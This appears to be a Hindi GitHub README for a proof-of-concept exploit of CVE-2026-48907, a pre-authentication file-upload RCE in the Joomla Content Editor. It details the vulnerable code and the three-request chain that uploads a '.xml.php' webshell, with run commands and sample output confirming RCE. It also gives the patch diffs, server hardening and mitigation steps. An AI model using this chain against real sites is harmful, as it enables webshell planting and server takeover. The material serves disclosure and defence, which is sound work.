
CVE-2026-48907 एक CVSS 10.0 pre-auth RCE है जो Joomla Content Editor के सभी संस्करणों ≤ 2.9.99.4 को प्रभावित करता है। Grayxploit टीम तीन कमजोरियों की श्रृंखला को तोड़ती है — गुम ऑथेंटिकेशन, कोई एक्सटेंशन वैलिडेशन नहीं, और एक असुरक्षित अपलोड फ़्लैग — जो हमलावरों को 3 HTTP अनुरोधों में शेल प्राप्त करने देता है।
CVE-2026-48907 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट — Joomla Content Editor (JCE) एक्सटेंशन में CVSS 10.0 का प्री-ऑथेंटिकेशन रिमोट कोड एक्जीक्यूशन (RCE) कमजोरी।
शोध: Grayxploit Security Team
CVE-2026-48907 एक गंभीर बिना प्रमाणीकरण के रिमोट कोड एक्जीक्यूशन (RCE) कमजोरी है जो Joomla Content Editor (JCE) एक्सटेंशन — सबसे व्यापक रूप से स्थापित Joomla संपादक — के 2.9.99.4 तक के सभी संस्करणों को प्रभावित करती है।
JCE प्रोफ़ाइल आयात वर्कफ़्लो में तीन स्वतंत्र सुरक्षा कमजोरियों को जोड़कर, एक पूरी तरह से बिना प्रमाणीकृत हमलावर निम्नलिखित कर सकता है:
/tmp/ निर्देशिका में एक मनमाना PHP वेबशेल अपलोड करनाहमले के लिए केवल 3 HTTP अनुरोध चाहिए और यह किसी भी डिफ़ॉल्ट Joomla इंस्टॉलेशन पर काम करता है जो एक कमजोर JCE संस्करण चला रहा है।
CVSS v4 स्कोर: 10.0 — गंभीर
जिम्मेदार प्रकटीकरण के बाद Grayxploit सुरक्षा अनुसंधान टीम द्वारा खोजा और सार्वजनिक रूप से प्रकट किया गया।
| सॉफ्टवेयर | कमजोर संस्करण | पैच किया गया संस्करण |
|---|---|---|
| Joomla Content Editor (JCE) | ≤ 2.9.99.4 | 2.9.99.6 (अनुशंसित) |
नोट: 2.9.99.5 ने मुख्य फिक्स प्रस्तुत किया। 2.9.99.6 ने अतिरिक्त सख्तीकरण परतें जोड़ीं। 2.9.99.6 या बाद के संस्करण में अपग्रेड करें।
यह कमजोरी JCE प्रोफ़ाइल आयात एंडपॉइंट में उत्पन्न होती है:
POST /index.php?option=com_jce&task=profiles.import
JCE प्रशासकों को XML फ़ाइलों के रूप में संपादक प्रोफ़ाइल निर्यात और आयात करने की अनुमति देता है। आयात हैंडलर बिना प्रमाणीकरण के पहुंच योग्य है और तीन स्वतंत्र कमजोरियों की श्रृंखला के कारण मनमानी फ़ाइल अपलोड स्वीकार करता है।
आयात नियंत्रक ने कोई ACL जांच नहीं की:
public function import()
{
// Only gate: CSRF token — trivially bypassable
Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
$app = Factory::getApplication();
// … straight into file handling — no authorise() check
}
Joomla CSRF टोकन को हर सार्वजनिक पृष्ठ पर मेटा टैग या JS वेरिएबल के रूप में एम्बेड करता है:
<meta name="csrf.token" content="abcdef1234567890abcdef1234567890" />
एक हमलावर बस होमपेज प्राप्त करता है, टोकन निकालता है, और इसे पुनः चलाता है। CSRF जांच क्रॉस-साइट अनुरोधों को रोकती है — यह नहीं रोकती प्रत्यक्ष स्क्रिप्टेड अनुरोधों को। आयात पथ में कहीं भी Factory::getUser() या $user->authorise(...) का कोई कॉल नहीं था।
अपलोड हैंडलर ने File::makeSafe() का उपयोग किया जो केवल अवैध फाइलसिस्टम वर्णों को हटाता है — यह फ़ाइल एक्सटेंशन को नहीं मान्य या प्रतिबंधित करता है:
$file = $app->input->files->get('profile_file', null, 'raw');
if (!is_uploaded_file($file['tmp_name'])) { return false; }
$name = File::makeSafe($file['name']); // strips illegal chars only
$destination = $config->get('tmp_path') . '/' . $name;
$source = $file['tmp_name'];
File::upload($source, $destination, false, true);
shell.xml.php जैसा फ़ाइल नाम File::makeSafe() से बिना बदले गुजरता है। Apache का mod_php इसे निष्पादित करता है क्योंकि अंतिम पहचाना गया एक्सटेंशन .php है। .php, .php5, .phtml, और डबल-बैरेल्ड वेरिएंट जैसे एक्सटेंशन सभी स्वीकार किए गए।
File::upload() को $allow_unsafe = true के साथ बुलाया गया (CWE-116)Joomla के File::upload() में एक अंतर्निहित एक्सटेंशन ब्लैकलिस्ट है जो $allow_unsafe = false (डिफ़ॉल्ट) होने पर खतरनाक फ़ाइल प्रकारों को ब्लॉक करता है:
// Joomla File::upload() signature
File::upload($src, $dest, $use_streams = false, $allow_unsafe = false)
कमजोर JCE कोड ने स्पष्ट रूप से इस सुरक्षा जाल को अक्षम किया:
// VULNERABLE — unsafe uploads explicitly enabled
File::upload($source, $destination, false, true);
इस एक बूलियन ने Joomla की पूरी आंतरिक एक्सटेंशन ब्लैकलिस्ट को बंद कर दिया, जिससे .php, .php5, .phtml, और अन्य सभी निष्पादन योग्य एक्सटेंशन को डिस्क पर लिखने की अनुमति मिली।
┌─────────────────────────────────────────────────────────────────┐
│ │
│ ① GET / │
│ ← Extract csrf_token from HTML/JS │
│ │
│ ② POST /index.php?option=com_jce&task=profiles.import │
│ Content-Type: multipart/form-data │
│ │
│ --boundary │
│ Content-Disposition: form-data; name="task" │
│ profiles.import │
│ --boundary │
│ Content-Disposition: form-data; name="<csrf_token>" │
│ 1 │
│ --boundary │
│ Content-Disposition: form-data; │
│ name="profile_file"; │
│ filename="shell-<hash>.xml.php" │
│ Content-Type: application/xml │
│ │
│ <?= 45*69 ?> │
│ --boundary-- │
│ │
│ ← 200 OK (file written to /var/www/html/tmp/) │
│ │
│ ③ GET /tmp/shell-<hash>.xml.php │
│ ← Response: "3105" (45 × 69 = RCE confirmed ✓) │
│ │
└─────────────────────────────────────────────────────────────────┘
कोई सत्र कुकी नहीं। कोई उपयोगकर्ता नाम नहीं। कोई पासवर्ड नहीं। 3 HTTP अनुरोध।
⚠️ यह PoC केवल अधिकृत सुरक्षा अनुसंधान और पैठ परीक्षण के लिए प्रदान किया गया है। बिना स्पष्ट लिखित अनुमति के किसी भी सिस्टम के विरुद्ध उपयोग न करें। अनधिकृत उपयोग अवैध और अनैतिक है।
pip3 install requests
git clone https://github.com/grayxploit/CVE-2026-48907.git
cd CVE-2026-48907
pip3 install -r requirements.txt
python3 poc.py
[] Target : http://localhost:9999
[] Payload : cve-2026-48907-4821.xml.php [] Step 1 — Fetching CSRF token...
[+] CSRF token: abcdef1234567890abcdef1234567890
[] Step 2 — Uploading payload...
[+] Upload response: HTTP 200
[*] Step 3 — Triggering payload execution...
[CRITICAL] RCE CONFIRMED — CVE-2026-48907
Target http://localhost:9999 is VULNERABLE
तीनों कमजोरियां JCE 2.9.99.5 में ठीक की गईं, 2.9.99.6 में अतिरिक्त सख्तीकरण भेजा गया।
controller/profiles.php:
$user = Factory::getUser();
if (!$user->authorise('core.manage', 'com_jce')) {
throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'), 403);
}
अतिथि उपयोगकर्ता (id = 0) तुरंत authorise() में विफल होते हैं। किसी भी फ़ाइल हैंडलिंग से पहले अनुरोध अस्वीकार कर दिया जाता है।
models/profile.php:
$extension = PATHINFO($name, PATHINFO_EXTENSION);
if (strtolower($extension) !== 'xml') {
$app->enqueueMessage(Text::_('WF_PROFILES_IMPORT_INVALID_FILE'), 'error');
return false;
}
PATHINFO_EXTENSION केवल अंतिम एक्सटेंशन लौटाता है। shell.xml.php → php → अस्वीकृत। सभी मल्टी-एक्सटेंशन बाईपास को निष्क्रिय करता है।
// पहले (कमजोर)
File::upload($source, $destination, false, true);
// बाद में (पैच किया गया)
File::upload($source, $destination, false);
Joomla की आंतरिक एक्सटेंशन ब्लैकलिस्ट को एक स्वतंत्र रक्षा परत के रूप में पुनः सक्रिय किया गया है।
| फिक्स | विवरण |
|---|---|
| अपलोड आकार सीमा | 512 KB से बड़ी फ़ाइलों को अस्वीकार करता है |
| XXE सुरक्षा | libxml_disable_entity_loader(true) PHP 7.x पर बैकपोर्ट किया गया |
| XML फ़ील्ड अनुमति सूची | केवल ज्ञात-सुरक्षित XML कुंजियाँ संसाधित; मनमानी कुंजियाँ चुपचाप अनदेखा की गईं |
.htaccess के माध्यम से /tmp/ में PHP अक्षम करें<Directory /var/www/html/tmp>
php_flag engine off
<FilesMatch "\.ph(p[2-9]?|tml)$">
Deny from all
</FilesMatch>
</Directory>
यह रिपॉजिटरी केवल अधिकृत सुरक्षा अनुसंधान, शिक्षा, और उन प्रणालियों पर पैठ परीक्षण के लिए है जिनके आप मालिक हैं या परीक्षण के लिए स्पष्ट लिखित अनुमति है।
Grayxploit टीम इस रिपॉजिटरी में प्रदान किए गए कोड या जानकारी के किसी भी अनधिकृत, अवैध, या दुर्भावनापूर्ण उपयोग के लिए जिम्मेदार नहीं है।
जिम्मेदारी से उपयोग करें। कानूनी रूप से परीक्षण करें।
This project is licensed under the MIT License.
हर स्टार इस शोध को अधिक रक्षकों, पैठ परीक्षकों, और ब्लू टीम सदस्यों तक पहुंचने में मदद करता है जिन्हें इसकी आवश्यकता है।
Grayxploit एक स्वतंत्र सुरक्षा अनुसंधान टीम है जो वेब प्लेटफॉर्म, CMS इकोसिस्टम और ओपन-सोर्स सॉफ्टवेयर में कमजोरी की खोज, एक्सप्लॉइट विकास और जिम्मेदार प्रकटीकरण पर केंद्रित है।
| प्राथमिकता | कार्रवाई |
|---|
| 🔴 तत्काल | JCE को 2.9.99.6 या उससे अधिक पर अपग्रेड करें |
| 🟠 उच्च | सर्वर स्तर पर /tmp/ तक वेब पहुंच को अवरुद्ध या प्रतिबंधित करें |
| 🟠 उच्च | .htaccess या सर्वर कॉन्फ़िग के माध्यम से अस्थायी निर्देशिकाओं में PHP निष्पादन अक्षम करें |
| 🟡 मध्यम | अनधिकृत सत्रों से com_jce&task=profiles.import पर अलर्ट/ब्लॉक करने के लिए WAF नियम जोड़ें |
| 🟡 मध्यम | एक्सटेंशन सत्यापन के बिना File::upload(..., true) के लिए अन्य Joomla एक्सटेंशन का ऑडिट करें |
| दिनांक | घटना |
|---|
| 2026-05-XX | Grayxploit अनुसंधान टीम द्वारा कमजोरी की खोज |
| 2026-05-XX | JCE अनुरक्षकों को जिम्मेदार प्रकटीकरण प्रस्तुत |
| 2026-06-XX | MITRE द्वारा CVE-2026-48907 आवंटित |
| 2026-06-XX | JCE 2.9.99.5 जारी — मुख्य फिक्स |
| 2026-06-12 | JCE 2.9.99.6 जारी — अतिरिक्त सख्तीकरण |
| 2026-06-12 | Grayxploit द्वारा सार्वजनिक प्रकटीकरण |
| हम ढूंढते हैं | हम प्रकट करते हैं | आप बचाव करते हैं |
|---|---|---|
| प्री-ऑथ RCEs | जिम्मेदारी और सार्वजनिक रूप से | हमारे विस्तृत पैच विश्लेषण के साथ |
| तर्क दोष | पूर्ण मूल कारण विवरण के साथ | हमारे PoCs का सुरक्षित उपयोग करके |
| श्रृंखलित कमजोरियाँ | सामूहिक शोषण शुरू होने से पहले | खतरा अभिनेताओं से तेज़ |
कोई सुझाव है या सहयोग करना चाहते हैं? एक Issue खोलें या हमारे GitHub प्रोफ़ाइल के माध्यम से संपर्क करें।
CVE-2026-48907 — मूल शोध द्वारा
चीजों को तोड़ना। जिम्मेदारी से।